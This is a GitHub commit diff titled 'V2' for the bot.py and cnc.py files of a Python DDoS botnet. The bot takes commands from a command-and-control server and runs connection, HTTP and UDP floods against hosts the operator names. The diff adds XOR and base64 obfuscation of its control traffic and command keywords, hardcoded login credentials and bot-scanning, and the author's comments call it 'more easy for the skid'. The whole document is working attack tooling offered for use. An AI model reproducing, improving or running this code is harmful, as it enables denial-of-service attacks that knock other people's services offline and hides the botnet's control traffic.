Skip to content
This repository was archived by the owner on Jan 21, 2020. It is now read-only.

Commit 7b8c2f9

Browse files
authored
V2
1 parent 4c729f9 commit 7b8c2f9

2 files changed

Lines changed: 131 additions & 45 deletions

File tree

bot.py

Lines changed: 49 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,24 @@
11
#!/usr/bin/env python3
22
#Code By Leeon123
33

4-
#-- Python Bot version v1.2 --#
5-
6-
import argparse
4+
#-- Python Bot version v2 --#
5+
# Added xor encode traffic #
6+
# Improved dos attack code #
7+
# New process lock desgin #
8+
# More easy for the skid #
9+
#############################
710
import socket
811
import sys
912
import os
1013
import time
11-
from multiprocessing import Process
1214
import random
1315
import threading
16+
import base64 as b64
1417

1518
cnc = str("127.0.0.1")#your cnc ip
16-
cport = int(80)#your cnc port
19+
cport = int(81)#your cnc port
20+
key = "asdfghjkloiuytresxcvbnmliuytf"
21+
#xor key, don't edit it if u don't know wtf is this#
1722

1823
useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
1924
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
@@ -104,27 +109,27 @@ def UDP(ip, port, size):
104109
def cmdHandle(sock):
105110
global stop
106111
attack = 0
107-
sock.send("1337".encode())#login cnc
112+
sock.send(xor_enc("1337",key).encode())#login code
108113
while True:
109-
data = sock.recv(1024).decode()
110-
if len(data) == 0:
114+
tmp = sock.recv(1024).decode()
115+
if len(tmp) == 0:
111116
main()
117+
#print(tmp)
118+
data = xor_dec(tmp,key)
112119
if data[0] == '!':
113120
try:
114121
command = data.split()
115122
print(command)
116-
if command[0] == '!cc':
123+
if command[0] == xor_dec('QBAH',key):#encoded keywords: !cc
117124
if attack != 0:
118125
stop = True
119126
attack=0
120-
if len(command) != 4 :
121-
sock.send()
122127
stop = False
123128
for x in range(int(command[3])):
124129
p = threading.Thread(target=CC, args=(command[1],command[2]))
125130
p.start()
126131
attack+=1
127-
elif command[0] == '!http':
132+
elif command[0] == xor_dec('QBsQEhc=',key):#encoded keywords: !http
128133
if attack != 0:
129134
stop = True
130135
attack=0
@@ -133,7 +138,7 @@ def cmdHandle(sock):
133138
p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4]))
134139
p.start()
135140
attack+=1
136-
elif command[0] == '!udp':
141+
elif command[0] == xor_dec('QAYAFg==',key):#encoded keywords: !udp
137142
if attack != 0:
138143
stop = True
139144
attack=0
@@ -147,8 +152,8 @@ def cmdHandle(sock):
147152
attack = 0#clear attack list
148153
except:
149154
pass
150-
if data == "ping":#ping
151-
sock.send("pong".encode())#keepalive and check connection alive
155+
if data == xor_dec("ERoKAQ==",key):#ping
156+
sock.send(xor_enc("pong",key).encode())#keepalive and check connection alive
152157

153158
def main():
154159

@@ -158,7 +163,7 @@ def main():
158163
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
159164
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
160165
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
161-
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)
166+
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)#this only can use on python3 env, python2 pls off this
162167
s.connect((cnc,cport))
163168

164169
cmdHandle(s)
@@ -169,6 +174,34 @@ def main():
169174
def connect():
170175
time.sleep(5)
171176
main()
177+
#xor enc part#
178+
def xor_enc(string,key):
179+
lkey=len(key)
180+
secret=[]
181+
num=0
182+
for each in string:
183+
if num>=lkey:
184+
num=num%lkey
185+
secret.append( chr( ord(each)^ord(key[num]) ) )
186+
num+=1
187+
188+
return b64.b64encode( "".join( secret ).encode() ).decode()
189+
190+
def xor_dec(string,key):
191+
192+
leter = b64.b64decode( string.encode() ).decode()
193+
lkey=len(key)
194+
string=[]
195+
num=0
196+
for each in leter:
197+
if num>=lkey:
198+
num=num%lkey
199+
200+
string.append( chr( ord(each)^ord(key[num]) ) )
201+
num+=1
202+
203+
return "".join( string )
204+
172205

173206
if __name__ == '__main__':
174207
main()

cnc.py

Lines changed: 82 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#!/usr/bin/env python3
22
# -*- coding: UTF-8 -*-
33
#Code by LeeOn123
4-
#Improved at 14/7/2019
4+
#Updated at 15/7/2019
55
#====================================================================#
66
# ____ _ _ ____ _ _ #
77
#| _ \ _ _| |_| |__ ___ _ __ | __ ) ___ | |_ _ __ ___| |_ #
@@ -10,16 +10,19 @@
1010
#|_| \__, |\__|_| |_|\___/|_| |_| |____/ \___/ \__|_| |_|\___|\__|#
1111
# |___/ #
1212
#====================================================================#
13-
13+
# ~ version 2 ~ #
14+
######################################################################
1415
import socket
1516
import argparse
1617
import threading
1718
import os
1819
import time
1920
import sys
2021
from os import system, name
22+
import base64 as b64
2123

2224
password = "Leeon123"#Your login password
25+
key= "asdfghjkloiuytresxcvbnmliuytf"#xor key
2326

2427
if len(sys.argv)<=1:
2528
print("Usage: python3 cnc.py <port>")
@@ -29,17 +32,28 @@
2932

3033
socketList = []
3134
def sendCmd(cmd):#Send Commands Module
32-
print('[*]Command sent!!!')
35+
print('[*]Command sent!!!')#debug
3336
print(cmd)
37+
data = xor_enc(cmd,key)#encode
3438
for sock in socketList:
3539
try:
36-
s.settimeout(1)
37-
sock.send(cmd.encode())
40+
sock.settimeout(1)
41+
sock.send(data.encode())
3842
except:
3943
socketList.remove(sock)#del error connection
4044
print("[!] A bot offline")
4145

42-
def showbot():
46+
def scan_device():#scan online device
47+
print('scanning Online bot')
48+
for sock in socketList:
49+
try:
50+
sock.settimeout(1)
51+
sock.send(xor_enc("ping",key).encode())#check connection
52+
except:
53+
socketList.remove(sock)#del error connection
54+
print("[!] A bot offline")#debug
55+
56+
def showbot():#bot count
4357
while True:
4458
try:
4559
so.send(("\033]0;Nodes : "+str(len(socketList))+" \007").encode())
@@ -50,42 +64,52 @@ def showbot():
5064
def handle_bot(sock,socketList):
5165
while True:
5266
try:
53-
sock.send("ping".encode())#keepalive and check connection
67+
sock.send(xor_enc("ping",key).encode())#keepalive and check connection
5468
print("ping")
5569
pong = sock.recv(1024).decode()
56-
if pong == "pong":
70+
if xor_dec(pong,key) == "pong":
5771
print("pong")
58-
time.sleep(10)
72+
time.sleep(60)#check connection every min
5973
except:
6074
try:
6175
sock.close()
6276
socketList.remove(sock)
6377
print("[!] A bot offline")
64-
except:
78+
except:#bug happened here, if not add "break" then there will be a "magic" loop
6579
pass
6680
break
6781

6882
def waitConnect(sock,addr):
6983
passwd = sock.recv(1024).decode()
70-
if passwd == "1337" :
71-
if sock not in socketList:
72-
socketList.append(sock)
73-
print("[!] A bot Online "+ str(addr)) #Loading scene :)
74-
handle_bot(sock,socketList)
75-
elif passwd == password + "\r\n" or passwd == password:
76-
print("Commander is here")
77-
Commander(sock)
78-
79-
def Commander(sock):
84+
try:
85+
passwd2 = xor_dec(passwd,key)
86+
if passwd2 == "1337" :
87+
if sock not in socketList:
88+
socketList.append(sock)
89+
print("[!] A bot Online "+ str(addr)) #message
90+
handle_bot(sock,socketList)
91+
else:
92+
sock.close()
93+
except:
94+
if passwd == password + "\r\n" or passwd == password:#if password is 'Leeon123' then it will login to cnc
95+
#If u are using putty pls use raw mode to connect,
96+
#If connected, there will not show anything on screen
97+
#Just input 'Leeon123' and enter.
98+
print("Commander is here")
99+
Commander(sock)
100+
else:
101+
sock.close()
102+
103+
def Commander(sock):#cnc server
80104
global so
81105
so = sock
82-
sock.send("Setting up the server\r\n".encode())
106+
sock.send("Setting up the server\r\n".encode())#loading sense
83107
time.sleep(0.5)
84108
sock.send("\033[2J\033[1H".encode())
85109
sock.send("Setting up the server [-]\r\n".encode())
86110
time.sleep(0.3)
87111
sock.send("\033[2J\033[1H".encode())
88-
sock.send("Setting up the server [\]\r\n".encode())
112+
sock.send("Setting up the server [\\]\r\n".encode())
89113
time.sleep(0.3)
90114
sock.send("\033[2J\033[1H".encode())
91115
sock.send("Setting up the server [-]\r\n".encode())
@@ -97,7 +121,7 @@ def Commander(sock):
97121
sock.send("Setting up the server [-]\r\n".encode())
98122
time.sleep(0.3)
99123
sock.send("\033[2J\033[1H".encode())
100-
sock.send("Setting up the server [\]\r\n".encode())
124+
sock.send("Setting up the server [\\]\r\n".encode())
101125
time.sleep(0.3)
102126
sock.send("\033[2J\033[1H".encode())
103127
sock.send("Setting up the server [-]\r\n".encode())
@@ -123,18 +147,21 @@ def Commander(sock):
123147

124148
while True:
125149
#print ("==> Python3 C&C server <==")
126-
sock.send('ルート@ボットネット:'.encode())
150+
sock.send('ルート@ボットネット:'.encode())#if u run this on windows, it may has some bug, idk why so,i use linux.
127151
cmd_str = sock.recv(1024).decode()
128152
if len(cmd_str):
129153
if cmd_str[0] == '!':
130154
sendCmd(cmd_str)
155+
if cmd_str[0] == 'scan':
156+
scan_device()
131157
if cmd_str == '?' or cmd_str == 'help' or cmd_str == '?\r\n' or cmd_str == 'help\r\n':
132158
sock.send('\r\n#-- Commands --#\r\n'.encode())
133-
sock.send(' CC Flood: !cc host port threads\r\n'.encode())
134-
sock.send(' HTTP Flood: !http host port threads path\r\n'.encode())
135-
sock.send(' UDP Flood: !udp host port threads size\r\n\r\n'.encode())
159+
sock.send(' CC Flood: !cc host port threads\r\n'.encode()) #tcp connection flood
160+
sock.send(' HTTP Flood: !http host port threads path\r\n'.encode()) #http flood
161+
sock.send(' UDP Flood: !udp host port threads size\r\n\r\n'.encode())#udp flood
136162
sock.send(' !stop : stop attack\r\n'.encode())
137-
sock.send(' bots : show bots info\r\n'.encode())
163+
sock.send(' bots : count bot\r\n'.encode())
164+
sock.send(' scan : check online connection\r\n'.encode())#check connecton status, if some offline or timeout will delete them form bot list.
138165
sock.send(' clear : Clear screen\r\n'.encode())
139166
sock.send(' exit : exit the server\r\n'.encode())
140167
sock.send(' shutdown : shutdown the server\r\n'.encode())
@@ -148,7 +175,7 @@ def Commander(sock):
148175
stop = True
149176
sock.close()
150177
break
151-
if cmd_str == 'shutdown' or cmd_str == 'shutdown\r\n':
178+
if cmd_str == 'shutdown' or cmd_str == 'shutdown\r\n':#shutdown function
152179
sock.send('Shutdown\r\n'.encode())
153180
stop = True
154181
sock.close()
@@ -167,5 +194,31 @@ def main():
167194
th = threading.Thread(target=waitConnect,args=(sock,addr))
168195
th.start()
169196

197+
def xor_enc(string,key):
198+
lkey=len(key)
199+
secret=[]
200+
num=0
201+
for each in string:
202+
if num>=lkey:
203+
num=num%lkey
204+
secret.append( chr( ord(each)^ord(key[num]) ) )
205+
num+=1
206+
207+
return b64.b64encode( "".join( secret ).encode() ).decode()
208+
209+
def xor_dec(string,key):
210+
leter = b64.b64decode( string.encode() ).decode()
211+
lkey=len(key)
212+
string=[]
213+
num=0
214+
for each in leter:
215+
if num>=lkey:
216+
num=num%lkey
217+
218+
string.append( chr( ord(each)^ord(key[num]) ) )
219+
num+=1
220+
221+
return "".join( string )
222+
170223
if __name__ == '__main__':
171224
main()

0 commit comments

Comments
 (0)